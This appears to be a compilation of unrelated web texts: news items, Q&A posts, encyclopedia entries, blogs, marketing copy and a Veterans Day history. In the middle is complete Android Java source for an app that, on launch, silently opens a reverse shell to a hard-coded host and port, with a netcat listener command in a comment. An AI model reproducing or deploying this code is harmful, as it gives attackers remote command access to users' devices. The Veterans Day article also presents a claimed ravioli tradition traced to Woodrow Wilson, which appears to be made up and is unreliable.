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170 kids checked in pepper spray incident
The Local - [email protected] • 4 Dec, 2015 Updated Fri 4 Dec 2015 10:20 CEST
A school in Adolf-Loos Gasse 2 in Floridsdorf was the scene of a major incident when 170 children were evacuated after an apparent pepper spray attack.
The children were taken to two separate hospitals on buses for medical evaluation. Rescue workers requested the special buses from Wiener Linien, who quickly responded to the emergency.
Shortly after 10 am on Thursday morning, an unknown person apparently released a large cloud of pepper spray in the basement of the New Middle School.
At least 17 children, aged between 10 and 14 years, complained of coughing, nausea, headache and throat irritation.
A spokesman for the Vienna Rescue Service, Andreas Huber, said that the behavior of the school was "exemplary."
The school's management had begun the evacuation of the building before the emergency services arrived.
The building was then aired out and later deemed safe for entry by emergency services.
Police have commenced an investigation into the incident.
#school #gas


This problem highlights the importance of variables in algebraic expressions, and offers opportunities to explore straight line graphs and simple inequalities. By switching between numerical, algebraic and graphical representations, students can gain insights into the effects of changing a variable. The last part of the problem encourages a playful curiosity where students can experiment with graphing software to try to solve each challenge.
"Which is bigger, $n+10$, or $2n+3$?"
Give students a short amount of time to decide, and then ask them to discuss the justification for their answer in pairs. Look out for any pairs using a graphical argument to support their conclusions.
"Is there any way we could represent what's going on graphically, to convince ourselves that the first expression is bigger when $n< 7$ and the second expression is bigger when $n> 7$?"
"For each pair, can you work out when each expression is bigger?" Hand out the worksheet: Which Is Bigger?
Again, give students time to work on this in pairs, making sure they are ready to justify their answers using the insights they have gained.
Finally, set them to work on the challenges offered at the bottom of the problem. One nice way to round off the task could be to plot the graphs on a computer (perhaps using Desmos) and ask each pair of students to read out the expressions they have found.
As the expressions are plotted, the class can decide whether they satisfy the requirements. In order to capture the idea that there are infinitely many sets of expressions that satisfy each condition, students could suggest tweaks to the functions that would still satisfy the conditions.
Is one expression always bigger?
How can you decide when each expression is bigger?
Would it help to express the relationship graphically?
Introduce challenges that require quadratic expressions as well as linear ones.
"Can you find two expressions so that the first is bigger for $n< 0$ and $n> 3$, but the second is bigger when $n$ is between $0$ and $3$?"
Which Is Cheaper? might be a more accessible starting point, as it uses concrete examples rather than abstract expressions.
Transformation of functions. Solving equations graphically. Graph plotters. Creating and manipulating expressions and formulae. Graphs. Graph sketching. Mathematical reasoning & proof. Biology. Simultaneous equations. Gradients.


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Q: Excel create table with all combinations Let's assume I have 3 columns with labels

*

*A B C D

*a b c d e

*1 2 3 4 5 6 7 8 9 10

Is there a quick and easy way to create an empty table with all permutations? i.e.

*

*A - a - 1

*A - a - 2

*....

*D - e - 10

A: Running this short macro:
Sub marine()
    Dim i As Long, j As Long, k As Long, N As Long

    N = 1
    For i = 1 To 4
        For j = 1 To 5
            For k = 1 To 10
                Cells(N, 4) = Cells(i, 1) & "-" & Cells(j, 2) & "-" & Cells(k, 3)
                N = N + 1
            Next k
        Next j
    Next i
End Sub

will produce a column of the desired 200 combinations:

A: EDIT:
With Office 365 we can make this more elastic:
=LET(
    rng,A1:C10,
    rw,ROWS(rng),
    clm,COLUMNS(rng),
    arr,MAKEARRAY(rw^clm,clm,LAMBDA(a,b,INDEX(rng,INT(MOD(a, rw ^ b) / (rw^ b / rw))+1,b)&"")),
    end,FILTER(arr,MMULT(--(arr=""),SEQUENCE(clm,,1,0))=0),
    SORT(IF(ISNUMBER(--end),--end,end),SEQUENCE(,clm)))

This will take ranges of any size as long as #ofRows^#ofColumns does not exceed the number of rows on the sheet:

Then for the joined version we use BYROW and TEXTJOIN:
=LET(
    rng,A1:C10,
    rw,ROWS(rng),
    clm,COLUMNS(rng),
    arr,MAKEARRAY(rw^clm,clm,LAMBDA(a,b,INDEX(rng,INT(MOD(a, rw ^ b) / (rw^ b / rw))+1,b)&"")),
    end,FILTER(arr,MMULT(--(arr=""),SEQUENCE(clm,,1,0))=0),
    rd,SORT(IF(ISNUMBER(--end),--end,end),SEQUENCE(,clm)),
    BYROW(rd,LAMBDA(p,TEXTJOIN(" - ",,p))))

Original older version:
You can do this with a formula:
=IFERROR(INDEX($A$1:$A$4,INT((ROW(1:1)-1)/((COUNTA(B:B)*(COUNTA(C:C)))))+1)&" - "&INDEX(B:B,MOD(INT((ROW(1:1)-1)/COUNTA(C:C)),COUNTA(B:B))+1)&" - "&INDEX(C:C,MOD((ROW(1:1)-1),COUNTA(C:C))+1),"")

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(ko͝ot`nä hô`rä), Ger. Kuttenberg, city (1991 pop. 24,561), central Czech Republic, in Bohemia. Now an agricultural center, it was an important silver-mining center in the Middle Ages. A national monument, it is a tourist draw and a market for the surrounding farm products. Its famous mint largely created the power and greatness of the medieval kings of Bohemia. In 1421–24, Kutná Hora was captured by the Hussites, recaptured by Emperor Sigismund, and captured again and burned by John Zizka. Until then a stronghold of Catholicism, it became for two centuries the center of Bohemian Protestantism. The city suffered again in the Thirty Years War (1618–48) and lost its importance after the silver mines closed in the 17th cent. Kutná Hora is rich in medieval architecture; the Church of St. Barbara (14th cent.) is a splendid example of Bohemian Gothic, and the Gothic Cathedral of St. James (14th cent.) has a tower 266 ft (81 m) high. The "Italian Court," begun in the 13th cent., is a palace once used both as a mint and as a residence of the kings of Bohemia.
a city in Czechoslovakia, in the Czech Socialist Republic, Central Bohemia Region. Population, 18,300 (1971). The city has food-processing, textile, and machine-building enterprises.
During the Middle Ages, Kutná Hora was a silver-mining region, and as such it had Europe-wide importance. The sole royal mint was established in Kutná Hora in 1300, in connection with the monetary reform of King Václav II. During the early period of the Hussite revolutionary movement the city became a center of the reactionary, feudal Catholic camp. In January 1422, Hussite troops led by Jan Žižka routed participants in the Second Crusade near Kutná Hora (they were later smashed completely at Německý Brod, present-day Havlvckův Brod) against insurgent Bohemia.
Architectural landmarks in Kutná Hora include Gothic buildings distinguished by the richness of their decor, such as the Cathedrals of St. Barbara (1388–1547; architects P. Parléř, B. Rejt, and M. Rejsek) and St. James (14th century), the Italian Court complex (including the city hall, the royal palace, and the mint; 14th-15th centuries), and the municipal fountain and the Stone House (both dating from the 15th century), as well as baroque buildings, such as the Jesuit College (17th century) and the Churches of St. Bartholomew (17th century) and St. Jan Nepomuk (18th century). Modern housing construction is under way. There is a city museum with collections of decorative and applied art.
He is the first prize winner of the International Guitar Competitions of Volos, Greece, Kutna Hora, Czech Republic and Tokyo.
The subject of the public tender is risk analysis of old environmental burdens in the cadastral Kank in Kutna Hora.
To date, the association's main public platform has been appearances at specialist forums, starting with the international interdisciplinary conference marking the 400th anniversary of the death of Emperor Rudolf II, entitled Rudolfine Kutna Hora, which took place at the Central Bohemia Gallery in Kutna Hora from it to 13 June 2012.
We were thinking of going two hours out to Kutna Hora to see the famous and eery Bone Church, but if one is under time limit like we were, it's best to explore the city instead.
The silver mines made Kutna Hora one of the richest towns in Bohemia," explained Hana as we went down a narrow flight of steps to witness an assortment of life-size figures in white miner's robes illustrating the complex procedures involved from mining silver to the stamping of coins.
Kutna Hora, a UNESCO World heritage Site, known as the jewel of the country.
Kutna Hora, Czech Republic Kutna Hora draws visitors interested in Czech history.
The extraordinary Kutna Hora, once the capital of the Czech kingdom, is a former silver mining town that built an incredible fortune during the 13th century.
Our second full day in the Czech Republic saw us board a minibus for an excursion to the town of Kutna Hora, which lies an hour or so away.
In it Smahel explores the heritage of the studium in the context of the national tradition, symbols, and vocabulary of the university, the prosopography of the medical faculty, some aspects of the relationship of the school to Hussitism, the controversial developments that led to the royal decree of Kutna Hora (Kuttenberg) in 1409 and the subsequent withdrawal of German students from Prague, and the career of humanists at the university.
Kutna Hora, Czech Republic; one multi-cooler unit to Shriram Pistons & Rings Ltd.


If you are like many people in relationships, there are times when your relationship goes through rough patches. You want your relationship to be a place where you can feel loved but sometimes it doesn't feel that way. You probably question whether it will get better or if you will ever be able to communicate with your partner and feel good about your connection again. When you got into this relationship you felt so excited and joyful to be around your partner but now sometimes you feel anxious and sad. Sometimes now it is hard to be around your partner and you end up having the same argument over and over. If you are like many people you may often feel unappreciated and overwhelmed, and you might end up questioning if you are a good enough partner. It might often lead to you and your partner criticizing each other which leaves you feeling frustrated and down. You have probably read books and talked to friends about what to do differently, but when it comes to talking to your partner it may feel like you two change for a while and then end up back in that same place as before.
What I know is that this is very normal for relationships and that it doesn't have to be this way. Many people are in relationships just like yours and struggle with very similar issues. What I also know is that you can have the opportunity to be in a relationship where you feel loved and appreciated. Where you can once again feel that excitement and hope while driving home from work, and feel peace and comfort in your home again. I want you to have that relationship.
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Discontent is essential. Innovation is inhibited by satisfaction with the status quo. My work is about identifying potential, expeditions into the fertile no man's land between what is and what could be. Realizing this future, particularly when the process involves convincing others to step outside their comfort zone (which never seems to be as large as I would like), often invokes frustration. I find I'm less inclined than others to accept barriers, more willing to take calculated risks and push boundaries. Navigating this discontinuity has been a challenge. I'm a progress junkie. Last week's vacation provided a welcome respite from work's emotional load. When I returned Monday, however, it was waiting like a hastily wrapped package on my desk. When I opened it over the course of the day, different parts exploded, as I knew they would. My challenge isn't decreasing my emotional intensity, but learning to better manage it. Discontent breeds frustration, and within that are almost always the seeds of fruitful evolution, if I allow myself to listen. Now the objective becomes getting others as dissatisfied with the status quo as I am (e.g. 400ppm is okay?!). Until then, little will change.


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Police and MASSOB clash in Anambra 11 injured 5 arrested
No fewer than 11 members of the Movement for the Actualization of the Sovereign State of Biafra, MASSOB, were yesterday at Nnobi and Awka-Etiti communities, Idemili South Local Government Areas of Anambra State, allegedly shot and injured by the police in a bid to disrupt their June 8 sit-at-home rally. Five others were arrested.
Igbo will deliver S-East to PDP 2015 Orji
Governor Theodore Orji of Abia State has said the Igbo would never waiver in their support for President Goodluck Jonathan, noting that they were poised to deliver the South East to Peoples Democratic Party, PDP.According to him, supporting President Jonathan remains the only way the bread of the Igbos will be buttered.
Igbo youths protest (AIYO) MASSOB sit-at-home order
AWKA — HUNDREDS of Igbo youths under the aegis of Association of Igbo Youths Organisation, AIYO, yesterday, stormed Anambra State House of Assembly to protest the directive by the Movement for the Actualization of the Sovereign State of Biafra, MASSOB, that everybody should stay at home on June 8, 2013.
Northern economy has crumbled
Minna—Niger State Governor, Dr Babangida Aliyu has lamented that the economy of the North has crumbled due to insecurity unleashed on the region by Boko Haram insurgents.Aliyu also regretted the huge army of unemployed youths in the North pointing out that there was urgent need for the revival of the Northern economy and job creation.
Abdulsalami said don't victimise repentant B'Haram members
FORMER Head of State, Gen. Abdulsalami Abubakar has appealed to members of the Presidential Committee on Dialogue and Peaceful Resolution of Security Challenge in the North to protect repentant Boko Haram members from victimisation by the Federal Government.Abubakar urged the amnesty panel to ensure that the militant sect's members that voluntarily give themselves up should…
Hezbollah weapons warehouse belongs to Sierra Leonean Lebanese Consul
BY ABDULSALAM MUHAMMADKANO — Acting Lebanese Consul in Kano, Khallel Musliman, has revealed that the private residence that housed cache of weapons of mass destruction linked to international terrorist organisation, Hezbollah, belongs to a Sierra Leonean.Speaking in Kano, Musliman said the property owner who is already in custody over his infamous role in the arm…
Achebe drew the world closer Obama and Michelle
By Uduma Kalu Lagos—United States President, Barack Obama and his wife, Michelle have described the late Nigerian novelist, Prof. Chinua Achebe as a "Revolutionary author, educator, and cultural ambassador."In a letter made available to Vanguard but addressed to the Achebe family and read by a White House representative, at the Celebration of Life event for…
Six killed in renewed violence in Plateau
At least six people were confirmed killed yesterday in renewed violence in Plateau State.The incident, which occurred in Bokkos Local Government Area of the state have forced residents of Gwande in Manguna district to flee their homes following the invasion of their community by gunmen suspected to be Fulani herdsmen.
US put $7m bounty on B'Haram leader Shekau
The United States has made good its promise to help Nigeria end terrorism by offering a $7m (N1.1bn) reward to persons with information on the whereabouts of the leader of militant islamist sect, Boko Haram, Abubakar Shekau.The $7m is part of the $23m posted on Monday by the US State Department's Rewards for Justice programme…
Northern Governors' Forum in crisis
More members of the Northern Governors' Forum are preparing to withdraw their membership of the 19-member group in protest over the May 24 Nigeria Governors' Forum election.Investigations by The PUNCH on Monday showed that the governors are those sympathetic to Governor Jonah Jang, who heads a faction of the Nigeria Governors' Forum.
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SI Wire
Derek Jeter reaches out to mother of slain Sandy Hook victim
Marc Weinreich
Derek Jeter called the mother of a woman killed at Sandy Hook Elementary School on the day of her funeral. (Al Bello/Getty Images)
New York Yankees shortstop Derek Jeter reached out to the mother of a teacher killed in the tragedy at Sandy Hook Elementary school last week, offering his condolences over the phone to a woman described in her eulogy as being a big fan of the Yankees.
According to The New York Daily News, Donna Soto, mother of Victoria, received a phone call on Wednesday from Jeter, the same day she laid her child to rest in a funeral. A cousin of the family said that Donna found the conversation to be "uplifting" during a most difficult time:
"Vicki loved the Yankees — that was part of her eulogy. No one in the family reached out, so (Jeter) must have heard about it and ... reached out. "It was a surprise and unexpected. Donna was ecstatic over it and very happy. She spoke to him for quite some time. [I]'m happy that it brought some comfort ... People like Jeter have reached out. It brings some comfort to know that people recognize Vicki as a hero."
Jeter joins a number of other professional athletes who have reached out to victims in the wake of last week's historic tragedy. Twenty-six people were killed when Adam Lanza, a 20-year-old armed with guns, stormed into the Connecticut elementary school, eventually taking his own life. New York Giants wide receiver Victor Cruz met on Tuesday with the family of 6-year-old Jack Pinto, a fan of Cruz and the Giants. Pinto was one of 20 children killed last week at the school. Also on Tuesday, Tennessee Titans running back Chris Johnson reached out to 11-year-old Jack McDonnell after he lost his younger sister, Grace, in the shooting, according to USA Today Sports.
"Jack seems like a really nice kid. It's really a great family, really, and my heart goes out to them. It's a situation where I just want to lift the family up, or lift anyone up who is going through such a tough time. Anything possible I can do to lift their spirits up a little bit, that's all I want to do."


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package com.example.androidreverseshell;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.widget.TextView;

public class MainActivity extends Activity {

	TextView text;

	@Override
	public boolean onCreateOptionsMenu(Menu menu) {
		getMenuInflater().inflate(R.menu.activity_main, menu);
		return true;
	}

	@Override
	public void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		text = new TextView(this);
		setContentView(text);
		text.setText("Reverse Shell");

		// start a reverse shell in the background
		new Thread(new Runnable(){
			@Override
			public void run() {
				try {
					reverseShell();
				} catch (Exception e) {
					Log.e("Reverse Shell Error", e.getMessage());
				}
			}

		}).start();
	}

	public void reverseShell() throws Exception {
		// could check to see if device is rooted
		// https://stackoverflow.com/questions/1101380/determine-if-running-on-a-rooted-device
		// final Process process = Runtime.getRuntime().exec(new String[]{"su", "-c", "system/bin/sh"}); // use if phone is rooted to get root shell...

		// create a process around the shell
		final Process process = Runtime.getRuntime().exec("system/bin/sh");

		// start a socket
		Socket socket = new Socket("192.168.1.1", 4444);

		// server should be listen on port 4444
		// Netcat Example: nc -l -p 4444

		// forward streams until socket closes
		forwardStream(socket.getInputStream(), process.getOutputStream());
		forwardStream(process.getInputStream(), socket.getOutputStream());
		forwardStream(process.getErrorStream(), socket.getOutputStream());
		process.waitFor();

		// close the socket streams
		socket.getInputStream().close();
		socket.getOutputStream().close();
	}

	private static void forwardStream(final InputStream input, final OutputStream output) {
		new Thread(new Runnable() {
			@Override
			public void run() {
				try {
					final byte[] buf = new byte[4096];
					int length;
					while ((length = input.read(buf)) != -1) {
						if (output != null) {
							output.write(buf, 0, length);
							if (input.available() == 0) {
								output.flush();
							}
						}
					}
				} catch (Exception e) {
					// die silently
				} finally {
					try {
						input.close();
						output.close();
					} catch (IOException e) {
						// die silently
					}
				}
			}
		}).start();
	}

}

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Tag Archives: baseball stadium
Things you Might Have Missed During the Baltimore/Texas Game.
Even though I wanted to watch every second of this first round match-up, I was busy getting the urine scared out of my bladder. Instead of my usual run-on rhetoric, I figured I'd make this entry short and sweet.
Just about every sports announcer, MLB expert, Tom, Dick and Larry predicted the All-Powerful Texas Rangers would squeeze the life out of the Baltimore Orioles. The Rangers had the advantage in starting pitching, with Yu Darvish pitching for them. Supposedly, Darvish is the hottest thing to come from Japan since Hello Kitty and colorful hair.
The Texans were also supposed to have the advantage in hitting, slugging, and on-base percentage. The have Josh Hamilton! The same Josh Hamilton who crushed four home-runs in a game against Baltimore earlier in the season. They also have Adrian Beltre, as well as a bunch of other hitters; Actually it seems like everybody on their roster has a .300 batting average.. Maybe it's just me? The Orioles hit home-runs, and not much else. The birds have Adam Jones, Chris Davis, The immortal Jim Thome and the on-and-off again Matt Weiters. Manny Machado seems to have some potential but he's a rookie, I don't know what kind of impact he'll have in his first ever playoff-game.
As if they needed anymore help, they are playing in Arlington, the Rangers home turf and a VERY hitter-friendly baseball stadium. That's just wonderful, I mean these guys are coming off back-to-back appearances in the World Series! That doesn't seem very fair, especially since both teams have the same record. Sure we lost a bunch of games head-to-head with them. Whatever, I'm just saying. About the only thing the Orioles had going for them was the bullpen. Basically it seemed like the stars were all aligned against the East Coast underdog.
Well now I'm watching the game. The MLB Playoffs Wildcard Round started around 8:35 EST. It's currently the bottom of the 9th inning, and this is what I've noticed so far:
1. Joe Saunders pitched a phenomenal 5 and 2/3rd innings. He gave up one run, more than a couple hits but always pitched his way out of trouble.
2. Saunders outplayed Yu Darvish, contrary to popular belief. Even though Darvish struck out more hitters, he also gave up more runs(one unearned) AND more hits. So much for Saunders not being able to handle Rangers stadium.
3. While listening to the radio on the way home from the Maze of the Undead, Firecrackers, and Heads on Meat Hooks, the ESPN announcer kept saying "Bloop single," whenever the Orioles batters hit a single. Biased much?
4. The Orioles looked seasoned, more than even the home team. It must have been all the one-run and overtime games they won, I mean that puts a lot of pressure on a young, unproven team.
5. Texas had 9 hits, including having the bases loaded in the bottom of the ninth inning. For all those hits, they got one total run. Author very happy.
6. Orioles Manager Buck Showalter completely out-coached Ron Washington, the talented manager of the Rangers. The pitching change at the end of the 5th inning, going from Saunders to Darren O'Day was crucial in keeping Texas from rallying.
7. Does anyone else think O'Day has one of the weirdest looking pitches? It's not too far from being a women's softball pitch.
8. The Orioles made a few unusual fielding errors tonight. That could have lost them the game if the Rangers were hitting better tonight. Luckily they weren't, especially Josh Hamilton.
9. Speaking of Hamilton, he wasn't just bad. He was REALLY bad. He looked indecisive at the plate, even lost at times. His strikeouts and pop-ups had a visible effect on the morale in the Texas dugout.
10. The road team played solid defense throughout the game, forcing three double-plays on the team from Arlington.
11. How exciting was this single-elimination playoff game?! It seemed like the stakes were a lot higher than usual, similar to a playoff game in the NFL. Usually the Rangers would have just been able to shrug it off as a bad start. Instead, their fate is sealed with another run given up in the 7th inning.
12. Likewise, i really felt like the MLB umpires are not quite used to making calls in a sudden-death situation. A bad call isn't nearly as bad when the team looking at the short end of the stick has a chance to even things up later.
13. ORIOLES WIN!!! ORIOLES WIN!!! FUCK YOU to Josh Hamilton & the Rest of the Texas Rangers!
14. A small percentage of people predicted the O's would win at LEAST 85 games.. Including the author. I'd now like to take this moment to say, "Naah-Naah, I told you so."
15. If the supremely dangerous Texas Rangers didn't rattle this team, playing in their first playoff game in 16 years, not much else will. In a single-elimination, winner-takes-all contest no less.
16. Texas vs. Baltimore regular season winning percentage, 70%+. Texas vs. Baltimore playoffs winning percentage, 0%.
17. The Baltimore Orioles join the Baltimore Ravens as playoff-caliber sports teams. We've been patiently awaiting for this day all those long, lonely nights. Between the Orioles, the Washington Nationals, the Ravens, the Washington Redskins,the Baltimore Blast, and the Washington Capitals, this area is finally living up to expectations. We're still waiting on John Wall, Nene, Trevor Ariza and the rest of the Washington Wizards to step up. Shout-out to the DMV, as well as I-495, I-295 and the Baltimore-Washington Area.
17. You Can't Spell Orioles Without… OLE!!! Bullfighting is so appropriate for the beating we put on Texas.
Parting Thoughts: Reynolds and Macho Machado HAVE to hit better if we expect to go deep into the 2012 MLB Playoffs. We showed a ton of heart tonight on the green grass of Texas Stadium. We're going to need every bit of heart, hitting and patience to make it through the second-round. Next up, those damn Yankees.
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The Author has been a Orioles fan since 1995, the first time his family brought him to Camden Yards. He became a Ravens fan that first year after the Browns left Cleveland for Baltimore. In the NBA, he's a Heat/Wizards fan, in the MLB, a Capitals fan. His main passion, however, lies with the NFL and MLB. He hahandss lived in the Baltimore-Washington Area for the past 2 decades, with his fiancee, adopted daughter and Maximus the Rat Terrier.
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Q: Including gems in ubuntu 11.04 I've got a problem with running an additional gem under ubuntu 11.04. I installed spiceweasel via gem install - which put it in /var/lib/gems/1.8/gems/spiceweasel. When I try to run it, I get:
`require': no such file to load -- spiceweasel/version (LoadError)

The file is in /var/lib/gems/1.8/gems/spiceweasel-0.7.1/lib/spiceweasel/version.rb but cannot be loaded. This happens both with and without -rubygems.
How do I fix this?

A: It seems to be the same problem like here: Ruby: require 'irbtools' raises LoadError
The gem author published the gem with wrong permissions. You should contact the gem author.


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And Time Folds
by: Vanessa Winship
This beautiful volume accompanies a career retrospective exhibition of British photographer Vanessa Winship at London's Barbican Art Gallery.
This beautiful volume accompanies a career retrospective exhibition of British photographer Vanessa Winship at London's Barbican Art Gallery. The extensive show is catalogued in the book which encompasses all Winship's major series and includes previously unpublished recent work.
An essay by renowned photographic historian and writer David Chandler offers a lyrical and insightful view into Winship's practice.
Vanessa Winship (b. 1960 in Lincolnshire, United Kingdom) is a photographer whose work explores concepts of borders, land, memory, desire, identity and history. Her projects have received numerous awards including the World Press Photo, Leica Oskar Barnack Award, Sony World Photography Awards, Taylor Wessing Photographic Portrait Prize, and the Fondation Henri Cartier-Bresson prize. she dances on Jackson (MACK, 2013) was Winship's third book, following Schwarzes Meer (2007) and Sweet Nothings (2008).


IBI Group provided architecture services for the design of The Hazelton Hotel & Residences, Toronto's first five-star luxury hotel offering 77 beautifully designed rooms and 18 exceptional suites evoking grandeur with a splash of 1940's-inspired Hollywood glitter.
The Hazelton Hotel and Residences is downtown Toronto's first true luxury hotel in the bustling Yorkville neighourhood, where all the best designers, boutiques, art galleries, cafes and restaurants converge. IBI Group provided architecture services for the design of the five-star, four-storey, 77-room boutique hotel located in the podium, and 18 luxury residential suites in the five storeys above.
Architecturally, the four-storey hotel is articulated with a layered brick and stone podium, which is intended to reinforce the three and four-storey scale of Yorkville and to provide ample opportunity for street-related activity and sidewalk cafes on widened setbacks. Exterior French doors open onto private terraces, providing a feeling of intimate luxury conceived on a European scale.
Some of the features that make The Hazelton so unique include the limestone façade, 10-foot ceilings, floor-to-ceiling windows, state-of-the-art private screening room, renowned spa, private concierge, and exquisite cuisine offered by celebrity chef Mark McEwan. The Hazelton is Toronto's only member of The Leading Hotels of the World, an alliance of independent luxury hotels worldwide.


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November 11, 2018 marks the 100th anniversary of the end of hostilities of World War I, the Great War. New Yorkers played a major role in the war effort, both overseas in the trenches and at home. Thomas Ruller, New York State Archivist will present on New York's contributions to the war effort, highlighting the stories of several individuals, including the poet Joyce Kilmer, as well as the aftermath of the war and how it affected New York and the lower Hudson Valley region.
Thomas Ruller is the State Archivist of New York a position he has held since November, 2015. Prior to serving as the State Archivist, Tom has held various positions within the State Archives and the State Education Department, beginning in 1988 when he was initially hired as a Senior Archivist in the State Archives. Prior to his service with New York State, Tom worked as an Archivist at the Alabama Department of Archives and History where he had the privilege of visiting every county courthouse in the State as part of a team that developed records management guidance for local governments across Alabama. Tom is also proud of his service as a local government historian, serving as the Deputy City Historian for his hometown of Gloversville, NY in the late 1970's through 1983.


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Radiators are no longer the ugly white elephants sitting on a wall with the sole function of kicking out heat. Neither are heated towel rails the mundane, functional and possibly rusty unsightly apparatus sat lurking in the bathrooms. Design of heat emitters has become big business over the last 15 years and a stylish rad or rail has become an essential part of any self-respecting interior designer's plans.
Plumbers and heating installers are very often the people who homeowners look to for central heating advice, so, while it's great to be able to offer a range of style options, the installer must also ensure that they are giving good advice regarding the functionality and suitability of central heating components within a particular home.
Renewable energy sources have grown in popularity and many heating manufacturers have designed rads that are more efficient than ever by making them operate with lower water content and lower system temperatures, which can particularly be seen in modern panel radiators.
Designer towel rails are also very efficient, whether it be ladder-style warmers or detailed curved rails. They are manufactured in such a way that the whole surface area of the towel rail is able to emit heat, even when they have towels hanging on them.
Several years ago, in order to meet the European Union's EN442 requirements, the CE Mark was introduced. The CE Mark offers a guarantee of heat output and a benchmarked standard of quality that installers and homeowners can rely upon to be sure they are getting a top notch product that puts out the amount of heat it says it does. Any respected installer should be recommending heat emitters that carry a CE Mark and preferably come with a comprehensive guarantee for added customer confidence.
Once an understanding of radiator energy efficiency and what size radiator or towel rail is required for the room, it's safe to do the much more exciting part of choosing the style of the heat emitter that is required.
Chrome, black and anthracite have become increasingly popular colours as tastes have moved away from traditional white, but it's now possible to get a radiator in almost any RAL colour you desire, making the sky the limit when it comes to customising your interior design plan.
Bland white convector radiators may be a thing of the past, but it is important for heating installers to make sure they are advising customers on heat efficient products as well as style. It's easy for householders to get carried away with the aesthetics of a rad or rail, so the installers needs to be their to ensure they get a bit of down to earth, practical advice. With the increasing amount of different products hitting the market, this assistance will be increasingly needed.


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Opportunities come and go. You skip one and jump on the next. Which one you pick is the one you need in your life. Opportunities lead to failure and you learn from mistakes. Some opportunities make you afraid and these are the ones worth fighting for. You know why? You learn the most of these because you fail big. Once you failed and picked yourself up, the next one is right around the corner. But you would have missed it if you did not fail before. Go all in for the opportunities that make you afraid. You grow faster and that makes your life more interesting.


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Over It is een ep van de Amerikaanse punkband Face to Face. Het werd uitgegeven in 1994 door Victory Music, een sublabel van het grotere Victory Records. Het bevat remixes van nummers van het album Don't Turn Away uit 1992, alsook nieuwe nummers. De ep is het eerste album waar Chad Yaro op te horen is.

Nummers
 "I Want" - 3:06
 "Nothing New" - 3:22
 "Disconnected" - 3:25
 "A.O.K." - 2:59
 "I Used to Think" - 3:04
 "Don't Turn Away" - 2:47
 "Not Enough" - 2:54

Muziekalbum van Face to Face
Extended play uit 1994

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I live by the adage that a healer is one who heals herself. In that sense, healing has been and will continue to be a life-long process. My interest in the body, mind, spirit, nature, and the holistic therapies based on the connection between them, began early. The first memories I have of my fascination with healing are from around age 7. I was born to do this work.
When I was in my early twenties, my interest in healing became professional. I was certified as a massage therapist in 2008, and have been expanding my skill set ever since. My current modalities include Reiki, ritual dance, Chakra Balancing, and meditation, to name a few. I provide individual sessions, workshops, and advocacy through my wellness community The Body Temple.
I am also a student of nature, soul, universal energy, and healing archetypes. This has led me to explore herbalism, astrology, tarot, and African Diaspora-based wisdom systems.
I currently offer distance Reiki and Chakra Balancing sessions on an ongoing basis. I also provide Sacred Ritual Dance workshops for women, based on North African "belly dance" techniques. For more information, visit The Body Temple, or reach out via carmen.thebodytemple@gmail.com.


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A History of Veterans Day
ByWill Johnson November 12, 2017
By Will Johnson
Messenger Reporter
EAST TEXAS – Saturday, Nov. 11 was Veterans Day. It is a day set aside by the federal government to honor those that have served – or are currently serving – in the United States Military. Veterans Day is intended to thank and honor all those who served honorably in the armed forces during wartime or peacetime. It is largely intended to thank living veterans for their service, to acknowledge their contributions to our national security are appreciated, and to underscore the fact that all those who served have sacrificed and done their duty.
Veterans Day is designated as a federal holiday and many Americans have time off from school or work to commemorate the occasion. Non-essential federal government offices are closed. No mail is delivered. All federal workers are paid for the holiday and those who are required to work on the holiday sometimes receive wages for that day in addition to holiday pay.
One of the little known facts about Veterans Day is in the way it is spelled. Contrary to many accepted grammar rules, no apostrophe is used in the spelling. While either veterans' or veteran's is grammatically correct, the U.S. Department of Veterans Affairs (VA) offers the following explanation, "Veterans Day does not include an apostrophe but does include an 's' at the end of 'veterans' because it is not a day that 'belongs' to veterans, it is a day for honoring all veterans."
Another interesting tidbit about Veterans Day is the traditional food that is served on that day. Serving ravioli, just like turkey and dressing on Thanksgiving, has become a staple in many homes on Nov. 11. This time honored tradition dates back to the day's origins.
As troops were returning home from World War I, President Woodrow Wilson was aware many of the servicemen would be longing for a home cooked meal. As a result, he invited nearly 2,000 members of the military to the White House for dinner. Ravioli was becoming increasingly popular in the U.S. – partially because of improved canning techniques – and Wilson helped the White House chefs prepare a meal he believed would welcome the troops back home, which included ravioli.
Veterans Day has its origins at the end of World War I. WWI did not end officially until June 28, 1919 when the Treaty of Versailles was signed, but according to the VA, "Fighting ceased seven months earlier when an armistice, or temporary cessation of hostilities, between the Allied nations and Germany went into effect on the eleventh hour of the eleventh day of the eleventh month. For that reason, Nov. 11, 1918, is generally regarded as the end of 'the war to end all wars.'"
When he proclaimed Nov. 11, 1919, as Armistice Day, President Woodrow Wilson said, "To us in America, the reflections of Armistice Day will be filled with solemn pride in the heroism of those who died in the country's service and with gratitude for the victory, both because of the thing from which it has freed us and because of the opportunity it has given America to show her sympathy with peace and justice in the councils of the nations…"
Congress officially declared Nov. 11 as a national holiday in 1938. Following the cessation of hostilities in Korea and in recognition of the sacrifices made by military members during both WWII and the Korean War, federal lawmakers amended the name.
"Armistice Day was primarily a day set aside to honor veterans of World War I, but in 1954, after World War II had required the greatest mobilization of soldiers, sailors, Marines and airmen in the Nation's history; after American forces had fought aggression in Korea, the 83rd Congress, at the urging of the veterans service organizations, amended the Act of 1938 by striking out the word 'Armistice' and inserting in its place the word 'Veterans.' With the approval of this legislation (Public Law 380) on June 1, 1954, November 11th became a day to honor American veterans of all wars," the VA website stated.
During 1968, The Uniform Holiday Bill was signed into law. Its intent was to give three day weekends to federal employees and to celebrate certain holidays on Monday. Four national holidays were covered under this bill. These were: Washington's Birthday; Memorial Day; Veterans Day; and Columbus Day.
According to the VA, the thought was "… these extended weekends would encourage travel, recreational and cultural activities and stimulate greater industrial and commercial production. Many states did not agree with this decision and continued to celebrate the holidays on their original dates."
The first time Veterans Day was celebrated under this law created quite a bit of confusion. It quickly became apparent the commemoration of this day was a matter of historic and patriotic significance.
Because of this, President Gerald Ford signed a bill into law which returned the annual observance of Veterans Day to its original date of Nov. 11. The restoration of the date began in 1978 and "… supported the desires of the overwhelming majority of state legislatures, all major veterans' service organizations and the American people."
